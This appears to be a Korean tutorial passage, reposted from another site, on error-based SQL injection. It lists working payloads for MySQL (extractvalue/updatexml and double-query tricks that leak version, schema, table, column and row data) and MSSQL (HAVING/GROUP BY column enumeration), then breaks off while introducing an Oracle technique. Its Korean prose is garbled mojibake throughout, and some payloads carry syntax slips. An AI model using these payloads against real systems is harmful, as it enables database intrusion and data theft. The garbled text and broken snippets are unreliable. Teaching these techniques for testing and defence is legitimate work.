๐กํด๋น ๋ด์ฉ์ pentestqym์ ๋ด์ฉ์ ๋ค์ ํ ๋ฒ ์ ๋ฆฌํ ๋ด์ฉ์ด๋ฉฐ,
๋ชจ๋ ์ ์๊ถ์ ํด๋น ์ฌ์ดํธ์๊ฒ ์์ต๋๋ค.
์ค๋ฅ๊ธฐ๋ฐ SQLi์ ๋ํ์ฌ ๋ฐฐ์๋ด ์๋ค.
Error based SQLi
๋ฐ์ดํฐ๋ฒ ์ด์ค ์ค๋ฅ ๋ฉ์์ง๋ฅผ ํ์ฉํ์ฌ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ๋ํ ์ ๋ณด๋ฅผ ํ๋ํ๋ SQL Injection ๊ธฐ๋ฒ
์๋ชป๋ SQL ๋ฌธ๋ฒ์ด๋ ์๋ฃํ ๋ถ์ผ์น ๋ฑ์ผ๋ก ์ธํด ๋ฐ์ดํฐ๋ฒ ์ด์ค๊ฐ ๋ฐ์์ํค๋ ์ค๋ฅ ๋ฉ์์ง๋ฅผ ์ด์ฉํ์ฌ ๊ณต๊ฒฉ์๋ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ๊ตฌ์กฐ์ ์ ๋ณด๋ฅผ ํ์ ํ ์ ์์ต๋๋ค. ์ด๋ฅผ ํตํด ๊ฐ์ธ ์ ๋ณด์ ๊ฐ์ ๋ฏผ๊ฐํ ๋ฐ์ดํฐ๋ฅผ ํ์ทจํ ์ ์์ต๋๋ค. ์ด๋ฌํ ๊ณต๊ฒฉ์ App์์ DB ์ค๋ฅ๋ฅผ ํ์ํ๋ ๊ฒฝ์ฐ์ ์ฃผ๋ก ์ฌ์ฉ๋ฉ๋๋ค.
Error-based SQLi ์๋ฆฌ
DB๋ก ์ ๋ฌ๋๋ SQL ์ฟผ๋ฆฌ์ ๋ฌธ๋ฒ์ ์ค๋ฅ๋ฅผ ํ์ฉํ๋ ๊ธฐ๋ฒ์ผ๋ก, DB๊ฐ ์ค๋ฅ ๋ฉ์์ง๋ฅผ ๋ฐํํ๊ฑฐ๋ ์น ์ ํ๋ฆฌ์ผ์ด์ ์์ ์ค๋ฅ ์ ๋ณด๋ฅผ ๋ ธ์ถํ๋ ๊ฒฝ์ฐ์ ์ด์ฉ๋ฉ๋๋ค. ์ ์์ ์ธ ์ฌ์ฉ์๋ ์ด ์ค๋ฅ ๋ฉ์์ง๋ฅผ ๋ถ์ํ์ฌ DB ์ ๋ณด๋ฅผ ํ์ ํ๊ณ ๊ณต๊ฒฉ์ ํ์ฉํ ์ ์์ต๋๋ค. ์ด ๊ณต๊ฒฉ ๊ธฐ๋ฒ์ DB์ ๋ํ ์ ๋ณด ํ๋์ ๋ชฉ์ ์ผ๋ก ํ๋ฉฐ, DB ์ข ๋ฅ์ ๋ฐ๋ผ ๋ค์ํ ๋ฌธ๋ฒ๊ณผ SQL ๊ตฌ๋ฌธ, ํจ์ ๋ฑ์ ํ์ฉํ ์ ์์ต๋๋ค.
์ฆ, ์ค๋ฅ ๊ธฐ๋ฐ SQL Injection์ DB๋ก ์ ๋ฌ๋๋ SQL ์ฟผ๋ฆฌ์ ๋ฌธ๋ฒ์ ์ค๋ฅ๋ฅผ ์ด์ฉํ์ฌ ๋ฐ์ดํฐ๋ฒ ์ด์ค ์ ๋ณด๋ฅผ ํ๋ํ๋ ๊ณต๊ฒฉ ๊ธฐ๋ฒ์ ๋๋ค.
Error-based SQLi ๊ณต๊ฒฉ ๊ธฐ๋ฒ
Mysql(MariaDB๋ ํด๋น)
ํ์ฉํ ์ ์๋ ๊ณต๊ฒฉ๊ธฐ๋ฒ์ผ๋ก XPath์ Double Query๊ฐ ์์
XPath
extractvalue() ํจ์๋ฅผ ํ์ฉํ ๊ธฐ๋ฒ์ผ๋ก MySQL ๊ธฐ์ค 5.1 ๋ฒ์ ์ด์์์๋ง ๊ฐ๋ฅํฉ๋๋ค. 1
Syntax
extractvalue(xml_frag, xpath_expr)
์์ ๊ฐ์ด extractvalue()๋ XML(xml_frag ์ธ์)๊ณผ XPath ํํ์(xpath_expr ์ธ์), ๋ ๊ฐ์ ์ธ์๊ฐ ํ์ํ๊ณ , ๋ ๊ฐ์ ์ธ์๋ฅผ ํตํด XML์์ XPath ํํ์์ ์ผ์นํ๋ ๋ฐ์ดํฐ๋ฅผ ์ถ์ถํ์ฌ ๋ฐํํด์ค๋๋ค. ์ด ํจ์๋ xpath_expr์ด๋ผ๋ ๋ ๋ฒ์งธ ์ธ์์ ์ ํจํ์ง ์์ XPath ํํ์์ด ์ฌ์ฉ๋๋ค๋ฉด ๋ค์๊ณผ ๊ฐ์ ์ค๋ฅ๊ฐ ๋ฐ์ํฉ๋๋ค.
ERROR 1105 (HY000): XPATH syntax error: 'xpath_expr ์ธ์์ ๊ฐ'
์ ๊ธฐํ ์ ์ xpath_expr ์ธ์๋ก ์์์ SQL ์ฟผ๋ฆฌ๋ฅผ ์ง์ ํ์ ๋ ์ด ์ฟผ๋ฆฌ์ ์คํ ๊ฒฐ๊ณผ๊ฐ ์ค๋ฅ ๋ฉ์์ง์ ํฌํจ๋๋ค๋ ๊ฒ์ ๋๋ค. ์ฐ๋ฆฌ๋ ์ด ์ ์ ์ด์ฉํด ์ค๋ฅ๊ธฐ๋ฐ SQLi๋ฅผ ์ํํ ์ ์์ต๋๋ค. ๋ ๋ฒ์งธ ์ธ์๊ฐ ํญ์ ์ ํจํ์ง ์์ XPath ํํ์์ด ๋๋๋ก ํ๊ธฐ ์ํด concat() ํจ์๋ฅผ ์ด์ฉํด ์ฝ๋ก (:)์ ์์ ์ถ๊ฐํฉ๋๋ค. 0x3a๋ ์ฝ๋ก ์ 16์ง์ ํ๊ธฐ๋ฒ์ ๋๋ค. ์ฒซ ๋ฒ์งธ ์ธ์๋ ์์์ ๊ฐ์ ์ง์ ํ๊ธฐ ์ํด rand() ํจ์๋ฅผ ์ฌ์ฉํฉ๋๋ค. 2
๊ทธ๋ฆฌ๊ณ ๋ง์ง๋ง์ผ๋ก ํ์ ์ฟผ๋ฆฌ๋ฅผ ๋ฌดํจํํ๊ธฐ ์ํด ๊ฐ์ฅ ๋์ ์ฃผ์ ๋ฌธ์(--)์ ๊ณต๋ฐฑ ๋ฌธ์(์คํ์ด์ค)๋ฅผ ์ถ๊ฐํฉ๋๋ค. ์ฃผ์ ๋ฌธ์ ๋ค์ ๊ณต๋ฐฑ ๋ฌธ์๋ฅผ ์ถ๊ฐํ๋ ๊ฒ์ ์์ง๋ง์ธ์. ๊ทธ๋ฌ๋ฉด ์ต์ข ์ ์ผ๋ก๋ ์๋์ ๊ฐ์ ํํ๊ฐ ๋๊ฒ ๊ตฐ์.
AND extractvalue(rand(), concat(0x3a, Excutable-SQL-Query))--
์ด์ ์์ ๊ณต๊ฒฉ ์ฟผ๋ฆฌ๋ฅผ ์๋์ SQL ์ฟผ๋ฆฌ์ ๊ฒฐํฉํ๊ณ "Excutable-SQL-Query" ๋ถ๋ถ๋ง ์๋์ ๋ด์ฉ์ ์ฐธ๊ณ ํด ์ถ์ถํ๊ณ ์ ํ๋ ์ ๋ณด์ ๋ง๋ ๊ฒ์ผ๋ก ๋ณ๊ฒฝํ๋ฉด ๋ฉ๋๋ค
Error-based SQLi Attack Example
Example SQLi Attack
- ๋ฐ์ดํฐ๋ฒ ์ด์ค ๋ฒ์ ์ถ์ถ
AND extractvalue(rand(),concat(0x3a,version()))--
- ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ช ์ถ์ถ
AND extractvalue(rand(), concat(0x3a, (SELECT concat(0x3a,schema_name)
FROM information_schema.schemata LIMIT 0,1)))--
- ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ช ์ถ์ถ (์น ์ ํ๋ฆฌ์ผ์ด์ ๊ณผ ํต์ ์ค์ธ ๋ฐ์ดํฐ๋ฒ ์ด์ค)
AND extractvalue(rand(),concat(0x3a,database()))--
- ํ ์ด๋ธ๋ช ์ถ์ถ
AND extractvalue(rand(),concat(0x3a (SELECT concat(0x3a,table_name)
FROM information_schema.TABLES
WHERE table_schema='๋ฐ์ดํฐ๋ฒ ์ด์ค๋ช
' LIMIT 0,1)))--
- ์ปฌ๋ผ๋ช ์ถ์ถ
AND extractvalue(rand(),concat(0x3a, (SELECT concat(0x3a,column_name)
FROM information_schema.COLUMNS
WHERE TABLE_SCHEMA='๋ฐ์ดํฐ๋ฒ ์ด์ค๋ช
' AND TABLE_NAME='ํ
์ด๋ธ๋ช
' LIMIT 0,1)))--
- ๋ฐ์ดํฐ ์ถ์ถ
AND extractvalue(rand(),concat(0x3a,(SELECT concat(์ปฌ๋ผ1,0x3a,์ปฌ๋ผ2)
FROM ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ช
.ํ
์ด๋ธ๋ช
LIMIT 0,1)))--
์์ extractvalue() ํจ์์ ์ค๋ฅ ๋ฉ์์ง๋ ๋จ์ผ ํ(ํ ์ค)์ผ๋ก ๋ฐํ๋๋ฏ๋ก LIMIT์ ์ฌ์ฉํ์ฌ ํ ๋ฒ์ ํ๋์ ํ๋ง ์ถ๋ ฅ๋ ์ ์๋๋ก ํ์์ต๋๋ค. ๊ณ์ํด์ ๋ค์ ํ์ ๋ฐ์ดํฐ๋ฅผ ์ถ์ถํ๊ธฐ ์ํด์๋ ์๋์ ๊ฐ์ด ๋ฐ๋ณตํ์ฌ ์คํํ๋ฉด ๋ฉ๋๋ค.
...LIMIT 0, 1)))-- (SQL ์ฟผ๋ฆฌ์์ ๋ฐํ๋ ๋ ์ฝ๋์
์ ์ฒซ๋ฒ์งธ ํ ๋ฐํ)
...LIMIT 1, 1)))-- (SQL ์ฟผ๋ฆฌ์์ ๋ฐํ๋ ๋ ์ฝ๋์
์ ๋๋ฒ์งธ ํ ๋ฐํ)
...LIMIT 2, 1)))-- (SQL ์ฟผ๋ฆฌ์์ ๋ฐํ๋ ๋ ์ฝ๋์
์ ์ธ๋ฒ์งธ ํ ๋ฐํ)
...LIMIT 3, 1)))-- (SQL ์ฟผ๋ฆฌ์์ ๋ฐํ๋ ๋ ์ฝ๋์
์ ๋ค๋ฒ์งธ ํ ๋ฐํ)
... ์๋ต ...
์์ ๋ฐฉ์๊ณผ ์ ์ฌํ ๊ธฐ๋ฒ์ผ๋ก updatexml() ํจ์๋ฅผ ์ด์ฉํ ์๋ ์์ต๋๋ค. ๊ธฐ๋ณธํ์ ์๋์ ๊ฐ์ผ๋ฉฐ ์ถ์ถํ๊ณ ์ ํ๋ ๋ฐ์ดํฐ์ ๋ฐ๋ผ "์คํํ -SQL-์ฟผ๋ฆฌ" ๋ถ๋ถ๋ง ์์ ๋ฐฉ์๋๋ก ๋ณ๊ฒฝํด์ฃผ๋ฉด ๋ฉ๋๋ค.
AND updatexml(null, ์คํํ -SQL-์ฟผ๋ฆฌ, null)--
Double Query
GROUP BY๋ฅผ ํตํ ๊ทธ๋ฃน ์ง๊ณ์ ๊ธฐ์ค ์ปฌ๋ผ์ rand() ํจ์๊ฐ ์ฌ์ฉ๋ ๊ฒฝ์ฐ ๋ฐ์ํ๋ Duplicate entry ์ค๋ฅ๋ฅผ ํ์ฉํ ๊ณต๊ฒฉ ๊ธฐ๋ฒ์ ๋๋ค. ์ด ์ค๋ฅ๋ 3MySQL์์ ๋ฐ์ํ๋ ๋ฒ๊ทธ๋ก ๊ฐ์ฃผ๋๋ฉฐ ๊ทธ๋ฃน ๊ธฐ์ค ์ปฌ๋ผ์ด ์ค๋ณต๋ ๋ ๋ฐ์ํ๋ ์ค๋ฅ์ ๋๋ค. ํน์ดํ๊ฒ๋ ํ์ด 3๊ฐ ์ด์ ์กด์ฌํ๋ ํ ์ด๋ธ์์ FLOOR(rand(0)*2)๋ฅผ ๊ธฐ์ค ์ปฌ๋ผ์ผ๋ก ํ๋ ๊ฒฝ์ฐ์๋ rand() ํจ์๊ฐ ๊ทธ๋ฃน ์ง๊ณ์ ๊ธฐ์ค์ผ๋ก ์ฌ์ฉํ๊ธฐ์๋ ๊ฐ๋ณ์ ์ด๊ณ ์์ ์ ์ด์ง ์์์์ธ์ง ์ค๋ฅ๋ฅผ ๋ฑ์ด๋ ๋๋ค. ์ด ๊ธฐ๋ฒ์ ์ด์ฉํ์ฌ SQL Injection ๊ณต๊ฒฉ์ ์ํํ ์ ์์ต๋๋ค.
SELECT FLOOR(rand(0)*2)
FROM some-table;
์ด ์ฟผ๋ฆฌ๋ฅผ ํ์ ์๊ฐ ์ถฉ๋ถํ ๋ง์ ์์์ ํ ์ด๋ธ์์ ์คํํ๋ค๋ฉด ์๋์ ๊ฐ์ด ํ ์ด๋ธ ํ์ ์๋งํผ 0 ๋๋ 1์ ๊ฐ์ด ๋ฐํ๋ฉ๋๋ค.
floor(rand(0)*2)
================
0
1
1 <--- Duplicate entry ์ค๋ฅ ์ ๋ฐ
0
1
1
0
0
1
1
1
0
1
...
์ด์ ์๋์ ๊ฐ์ด FLOOR(rand(0)*2)๋ฅผ ๊ทธ๋ฃน ์ง๊ณ์ ๊ธฐ์ค ์ปฌ๋ผ์ผ๋ก ์ค์ ํ๊ณ ๊ทธ๋ฃน๋ณ ํ์ ์๋ฅผ ์ง๊ณํ๊ธฐ ์ํ count(*) ์ง๊ณ ํจ์๋ฅผ ์ฌ์ฉํ์ฌ ์ฟผ๋ฆฌ๋ฅผ ์คํํ๋ฉด MySQL์ ๋ฒ๊ทธ๋ก ์ธํด ์์ ์ธ๋ฒ์งธ ํ์ด ๋๋ฒ์งธ ํ๊ณผ ๊ฐ์ด ์ค๋ณต๋๋ฏ๋ก Duplicate entry ์ค๋ฅ๋ฅผ ๋ฐ์์ํค๊ฒ ๋ฉ๋๋ค.
SELECT FLOOR(rand(0)*2), COUNT(*)
FROM some-table
GROUP BY FLOOR(rand(0)*2) ;
๋ณด์๋ค์ํผ ์ค๋ฅ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค.
SQL Error [1062] [23000]: (conn:113718) Duplicate entry '1' for key 'group_key'
์ด ์ค๋ฅ๋ฅผ ์ด์ฉํ ๊ฒ์ ๋๋ค. ์์ ์ค๋ช ๋๋ก, `concat()` ํจ์๋ฅผ ์ฌ์ฉํ์ฌ "์คํํ -SQL-์ฟผ๋ฆฌ"์ `FLOOR(rand(0)*2)`๋ฅผ ๊ฒฐํฉํ๊ณ , ์ด๋ฅผ `x`๋ผ๋ ๋ณ์นญ์ผ๋ก ์ ์ฉํ๋ฉด ์ฟผ๋ฆฌ๋ ๋ค์๊ณผ ๊ฐ์ด ๊ตฌ์ฑ๋ฉ๋๋ค.
SELECT concat("์คํํ -SQL-์ฟผ๋ฆฌ", FLOOR(rand(0)*2)) AS x FROM ํ
์ด๋ธ๋ช
;
์์ ์ฟผ๋ฆฌ๋ "์คํํ -SQL-์ฟผ๋ฆฌ"์ ๋ฌด์์๋ก ์์ฑ๋ 0 ๋๋ 1์ ๊ฐ์ ๊ฒฐํฉํ์ฌ `x`๋ผ๋ ๋ณ์นญ์ผ๋ก ์ถ๋ ฅํ๋ ๊ฒ์
๋๋ค. ์ด๋ฅผ ํตํด ์ฟผ๋ฆฌ ์คํ ์ ๊ทธ๋ฃน ๊ธฐ์ค ์ปฌ๋ผ์ Duplicate entry ์ค๋ฅ๋ฅผ ์ ๋ฐํ ์ ์์ผ๋ฉฐ, ์ด ์ค๋ฅ๋ฅผ ํ์ฉํ ๊ฒฐ๊ณผ๊ฐ์ ์ป์ ์ ์์ต๋๋ค. ์ด์ ์ค๋ฅ๋ฅผ ํ๊ฐํ๊ณ ๊ฒฐ๊ณผ๋ฅผ ๋ช
ํํ ๋์ถํ๊ธฐ ์ํด ์๋ธ์ฟผ๋ฆฌ๋ฅผ ์ฌ์ฉํ ๊ฒ์
๋๋ค.
SELECT 1
FROM (
SELECT concat(์คํํ -SQL-์ฟผ๋ฆฌ, FLOOR(rand(0)*2))x,COUNT(*)
FROM some-table
GROUP BY x
)a
)
์์์ ์ฌ์ฉ๋ some-table์ 3ํ ์ด์์ ๊ฐ์ง ์์คํ ํ ์ด๋ธ์ธ information_schema.TABLES๋ก ๋ณ๊ฒฝํ๊ณ , ์ญ์ ์ ์ผ ๋ง์ง๋ง์๋ ์ฃผ์ ๋ฌธ์(--)์ ๊ณต๋ฐฑ ๋ฌธ์(์คํ์ด์ค)๋ฅผ ์ถ๊ฐํฉ๋๋ค. ๊ทธ๋ฆฌ๊ณ ์๋์ SQL ์ฟผ๋ฆฌ์ ์ฃผ์ ์ํค๊ธฐ ์ํด ์๋ถ๋ถ์ AND ์ฐ์ฐ์ฌ๋ฅผ ์ฌ์ฉํ๋ฉด ์ต์ข ์ ์ผ๋ก๋ ๋ค์์ ํํ๊ฐ ๋ฉ๋๋ค.
AND (SELECT 1 FROM(SELECT COUNT(*), concat(์คํํ -SQL-์ฟผ๋ฆฌ, FLOOR(rand(0)*2))x
FROM information_schema.TABLES GROUP BY x)a)--
์ด์ XPath ๊ธฐ๋ฒ๊ณผ ๋ง์ฐฌ๊ฐ์ง๋ก ์๋ ๋ด์ฉ์ ์ฐธ๊ณ ํ์ฌ "์คํํ -SQL-์ฟผ๋ฆฌ" ๋ถ๋ถ๋ง ๋ณ๊ฒฝํ๋ฉด ์ํ๋ ์ ๋ณด๋ฅผ ์ถ์ถํ ์ ์์ต๋๋ค. ๋ง์ฐฌ๊ฐ์ง๋ก "์คํํ -SQL-์ฟผ๋ฆฌ" ๋ถ๋ถ์ LIMIT์ ์ฒซ๋ฒ์งธ ๊ฐ์ 1์ฉ ์์ฐจ์ ์ผ๋ก ์ฆ๊ฐ์ํค๋ฉฐ ๋ค์ ํ์ ์๋ฃ๋ฅผ ์ถ์ถํ๋ฉด ๋ฉ๋๋ค.
Double Query SQLi Sample
- ๋ฐ์ดํฐ๋ฒ ์ด์ค ๋ฒ์ ์ถ์ถ
AND (SELECT 1 FROM (SELECT COUNT(*), concat(version(), FLOOR(rand(0)*2))x
FROM information_schema.TABLES GROUP BY x) a)--
- ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ช ์ถ์ถ
AND (SELECT 1 FROM (SELECT COUNT(*),concat(
(SELECT schema_name FROM information_schema.schemata LIMIT 0,1), FLOOR(rand(0)*2))a
FROM information_schema.schemata GROUP BY a LIMIT 0,1) b)--
- ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ช ์ถ์ถ (App๊ณผ ํต์ ์ค์ธ DB)
AND (SELECT 1 FROM (SELECT COUNT(*),concat(database(),FLOOR(rand(0)*2))x
FROM information_schema.TABLES GROUP BY x) a)--
- ํ ์ด๋ธ๋ช ์ถ์ถ
AND (SELECT 1 FROM (SELECT COUNT(*),concat(
(SELECT TABLE_NAME FROM information_schema.TABLES
WHERE table_schema='๋ฐ์ดํฐ๋ฒ ์ด์ค๋ช
' LIMIT 0,1), FLOOR(rand(0)*2))a
FROM information_schema.TABLES GROUP BY a LIMIT 0,1) b)--
- ์ปฌ๋ผ๋ช ์ถ์ถ
AND (SELECT 1 FROM (SELECT COUNT(*),concat(
(SELECT column_name FROM information_schema.COLUMNS
WHERE TABLE_SCHEMA='DB๋ช
' AND TABLE_NAME='ํ
์ด๋ธ๋ช
' LIMIT 0,1), FLOOR(rand(0)*2))a
FROM information_schema.COLUMNS GROUP BY a LIMIT 0,1) b)--
- ๋ฐ์ดํฐ ์ถ์ถ
AND(SELECT 1 FROM(SELECT COUNT(*),concat(
(SELECT CONCAT_WS(0x3a,์ปฌ๋ผ1,์ปฌ๋ผ2,..., ์ปฌ๋ผN)
FROM DB๋ช
.ํ
์ด๋ธ๋ช
LIMIT 0,1),FLOOR(rand(0)*2))x
FROM information_schema.TABLES GROUP BY x) a)--
MSsql
Group by์ Having์ ํ์ฉํ ๊ณต๊ฒฉ๊ธฐ๋ฒ
๋จผ์ Group by์ Having์ ๋ํ์ฌ ์์๋ด ์๋ค.
Group by์ Having์ ์๋ฏธ
Group by
: ๋๊ฐ ๊ฐ ๊ทธ๋ฃน์์ ํ๋ ์ด์์ ์ง๊ณ๋ฅผ ์ํํ๊ธฐ ์ํด ์ฟผ๋ฆฌ ๊ฒฐ๊ณผ๋ฅผ ํ ๊ทธ๋ฃน์ผ๋ก ๋ถํ ํ๋ SELECT ๋ฌธ์ ์
- SELECT ๋ฌธ์ ๊ทธ๋ฃน๋ง๋ค ํ๋์ ํ์ ๋ฐํ
Having
: ๊ทธ๋ฃน ๋๋ ์ง๊ณ์ ๋ํ ๊ฒ์ ์กฐ๊ฑด์ ์ง์
- HAVING์ SELECT ๋ฌธํ๊ณ ๋ง ์ฌ์ฉ
- HAVING์ ์ผ๋ฐ์ ์ผ๋ก GROUP BY ์ ์ ์ฌ์ฉ
- ์ฌ์ฉํ์ง ์์ ๊ฒฝ์ฐ ์์์ ๋จ์ผ ์ง๊ณ ๊ทธ๋ฃน ์กด์ฌ
์ฆ, GROUP BY๋ฅผ ํตํด ๊ธฐ์ค์ด ๋๋ ์ปฌ๋ผ์ ๊ทธ๋ฃน์ผ๋ก ๋ฌถ์ด ๊ทธ๋ฃน ๋ณ ์ง๊ณ๋ฅผ ์ํํ๊ณ ์ด ๋ ์ด๋ค ํน์ ํ ์กฐ๊ฑด์ ์ฃผ๊ธฐ ์ํด HAVING์ ์ฌ์ฉํ ์ ์์ต๋๋ค. ๊ทธ๋ฐ๋ฐ GROUP BY์ HAVING์ ์ฌ์ฉํ ๊ฒฝ์ฐ ์๋์ ๊ฐ์ด ์ง์ผ์ผ ํ ๊ท์น์ด ์์ต๋๋ค.
๊ท์น
- SELECT ์ ์ ์ฌ์ฉ๋ ์ง๊ณ ํจ์ ์ ์ธํ ์ผ๋ฐ ์ปฌ๋ผ์ GROUP BY ์ ์ ๊ธฐ์ค ์ปฌ๋ผ์ผ๋ก ํฌํจ๋จ
- HAVING์ ๋ฐ๋์ GROUP BY์ ํจ๊ป ์ฌ์ฉ๋์ผํจ (SELECT ์ ์ ์ง๊ณ ํจ์๋ง ์๋ ๊ฒฝ์ฐ ์ ์ธ)
๋ค์์ ํด๋น ์กฐ๊ฑด๋ค์ ์์ ์ฟผ๋ฆฌ๋ก์จ ์ค๋ช ๋๋ฆฌ๊ฒ ์ต๋๋ค.
[1] SELECT staff_no, name, SUM(salary_amt)
[2] FROM salary
[3] WHERE department = '22'
[4] GROUP BY staff_no, name
[5] HAVING SUM(salary_amt) >= 10000;
์๊ธ ํ ์ด๋ธ์์(2๋ฒ ๋ผ์ธ) ๋ถ์์ฝ๋๊ฐ 22์ธ ๋ถ์์ ์ํ(3๋ฒ ๋ผ์ธ) ์ง์์ ์ฌ๋ฒ๊ณผ ์ด๋ฆ์ ๊ธฐ์ค์ผ๋ก(4๋ฒ ๋ผ์ธ) ์๊ธ ํฉ๊ณ๋ฅผ ๊ตฌํ๋๋ฐ ์๊ธ ํฉ๊ณ๊ฐ $10,000 ์ด์์ธ(5๋ฒ ๋ผ์ธ) ์ง์์ ์ฌ๋ฒ, ์ด๋ฆ๊ณผ ์๊ธ ํฉ๊ณ๋ฅผ ์ถ์ถ(1๋ฒ ๋ผ์ธ)ํ๋ ์ฟผ๋ฆฌ์ ๋๋ค.
๋ณด์๋ ๋ฐ์ ๊ฐ์ด SELECT์ ์ ์ฌ์ฉ๋ ์ผ๋ฐ ์ปฌ๋ผ์ธ staff_no์ name ์ปฌ๋ผ์ GROUP BY์ ์ ํฌํจ๋์ด ๊ทธ๋ฃน๋ณ ์ง๊ณ๋ฅผ ์ํ ๊ธฐ์ค์ ์ก์์ฃผ๊ณ ์์ผ๋ฉฐ, HAVING์ ์ GROUP BY์ ํจ๊ป ์ฌ์ฉ๋์ด ์กฐ๊ฑด์ ์ง์ ํด์ฃผ๊ณ ์์ผ๋ฏ๋ก ๊ท์น์ ์๋ฐฐ๋์ง ์์ ์ฟผ๋ฆฌ์ ๋๋ค.
์๋๋ ํด๋น ๊ท์น์ ์๋ฐฐํ ์ฌํญ์ผ๋ก ๊ฐ์ด ์ดํด๋ด ์๋ค.
- ๊ท์ ์๋ฐ ์์ 1
[1] SELECT staff_no, name, SUM(salary_amt)
[2] FROM salary
[3] WHERE department = '22'
[4] GROUP BY staff_no <--- ๊ท์น1 ์๋ฐฐ (SELECT์ ์ ์ฌ์ฉ๋ name ์ปฌ๋ผ ๋๋ฝ๋จ.)
[5] HAVING SUM(salary_amt) >= 10000;
์คํ ๊ฒฐ๊ณผ
-------
Microsoft OLE DB Provider for SQL Server (0x80040E14)
'salary.name'์ด์ด ์ง๊ณ ํจ์์ ์๊ณ GROUP BY ์ ์ด ์์ผ๋ฏ๋ก SELECT ๋ชฉ๋ก์์ ์ฌ์ฉํ ์ ์์ต๋๋ค.
[1] SELECT staff_no, name, SUM(salary_amt)
[2] FROM salary
[3] WHERE department = '22'
[4] HAVING SUM(salary_amt) >= 10000; <--- ๊ท์น2 ์๋ฐฐ (GROUP BY ์์ด ์ฌ์ฉ๋จ.)
์คํ ๊ฒฐ๊ณผ
-------
Microsoft OLE DB Provider for SQL Server (0x80040E14)
'salary.staff_no'์ด์ด ์ง๊ณ ํจ์์ ์๊ณ GROUP BY ์ ์ด ์์ผ๋ฏ๋ก SELECT ๋ชฉ๋ก์์ ์ฌ์ฉํ ์ ์์ต๋๋ค.
์ ๋ด์ฉ์ ์ดํด๋ณด๋ฉด ๋ฌด์จ ๋ถ๋ถ์ด ์๋์ง ๋ช ์ํ๋ฉฐ ์๋ ค์ฃผ๋ ๋ด์ฉ์ ํ์ธํ ์ ์์ต๋๋ค. ์ฆ ํด๋น ํ ์ด๋ธ๋ช ๊ณผ ๋ฌธ์ ๊ฐ ๋๋ ์ปฌ๋ผ๋ช (salary.name, salary.staff_no)์ ํ์ธํ์ฌ ์ ๋ณด๋ฅผ ํ๋ํ ์ ์์ต๋๋ค.
์ด๋ฅผ ํตํด SQLi๋ฅผ ์งํํ๋ฉฐ, ์ทจ์ฝํ ์ปฌ๋ผ์ด ๋ฌธ์ํ์ผ ๊ฒฝ์ฐ ์๋์ ๊ฐ์ด ํ ์ด๋ธ๋ช ๊ณผ ์ปฌ๋ผ์ ๋ํ ์ ๋ณด๋ฅผ ์ป์ ์ ์์ต๋๋ค.
- ํ ์ด๋ธ๋ช ๊ณผ ์ฒซ๋ฒ์งธ ์ปฌ๋ผ๋ช ์ถ์ถ
1' HAVING 1=1--
- ๋๋ฒ์งธ ์ปฌ๋ผ๋ช ์ถ์ถ
1' GROUP BY ํ
์ด๋ธ๋ช
.์ฒซ๋ฒ์งธ-์ปฌ๋ผ HAVING 1=1--
- ์ธ๋ฒ์งธ ์ปฌ๋ผ๋ช ์ถ์ถ
1' GROUP BY ํ
์ด๋ธ๋ช
.์ฒซ๋ฒ์งธ-์ปฌ๋ผ,ํ
์ด๋ธ๋ช
.๋๋ฒ์งธ-์ปฌ๋ผ HAVING 1=1--
....
์ ๊ณผ์ ์ ์ค๋ฅ๊ฐ ๋ฐ์ํ์ง ์๋ ์์ ๊น์ง ์งํํฉ๋๋ค. ๊ทธ ์์ ๊น์ง ๊ฐ๋ค๋ฉด ๋ชจ๋ ์ปฌ๋ผ์ ์์๋๋ค๋ ๋ป์ด๋๊น์.
์ถ๊ฐ์ ์ผ๋ก ์ปฌ๋ผ์ ์๋ฃํ๊น์ง ์๊ณ ์ถ๋ค๋ฉด SUM()์ด๋ผ๋ ์ง๊ณ ํจ์๋ฅผ ์ด์ฉํ๋ฉด ๋ฉ๋๋ค. ํด๋น ํจ์๋ ์ง์ ๋ ์ปฌ๋ผ์ ์๋ฃํ์ด ์ซ์ํ X ๊ฒฝ์ฐ ํด๋น ์ปฌ๋ผ์ ์๋ฃํ์ ํ์ํ๋ฉฐ ์ค๋ฅ๋ฅผ ๋์๋๋ค.
1' UNION SELECT SUM(์ปฌ๋ผ) FROM ํ
์ด๋ธ๋ช
--
์ด๋ฅผ ํตํด ์๊ฒ๋ ์ ๋ณด๋ก UNION ๊ธฐ๋ฐ SQLi๋ฅผ ์งํํ์ฌ ๋ฐ์ดํฐ๋ฅผ ์ถ์ถํ ์๋ ์์ต๋๋ค. 4
Oracle DB
UTL_INADDR Pack์ ํ์ ํ๋ก๊ทธ๋จ์ธ
GET_HOST_NAME or GET_HOST_ADDRESS์ ๋ฌธ๋ฒ์ ์ค๋ฅ ํ์ฉ
UTL_INADDR ํจํค์ง์ ์ญํ ์ Oracle ๊ณต์ ๋ฌธ์์์ ๋ค์๊ณผ ๊ฐ์ด ์ ์๋์ด ์์ต๋๋ค.
Oracle DB์ ์ฃผ์ ๊ด๋ จ ์์ ์ ์ํ ํจํค์ง์ ๋๋ค. ์ฃผ์ ์ ํจ์ฑ ๊ฒ์ฌ, ์ฃผ์ ํ์ ๋ณํ, ์ฃผ์ ๊ตฌ์ฑ ์์ ์ถ์ถ ๋ฑ์ ๊ธฐ๋ฅ์ ์ ๊ณตํ์ง์
ํต์ฌ์ ์ธํฐ๋ท ์ฃผ์ ์ง์ ์ ์ง์ํ๋ PL/SQL ํ๋ก์์ ๋ฅผ ์ ๊ณตํฉ๋๋ค. ๋ก์ปฌ ๋ฐ ์๊ฒฉ ํธ์คํธ์ ํธ์คํธ ์ด๋ฆ๊ณผ IP ์ฃผ์๋ฅผ ์กฐํํ๋ API๋ฅผ ์ ๊ณต
๐ค ์ฌ๊ธฐ์ PL/SQL์ด๋?
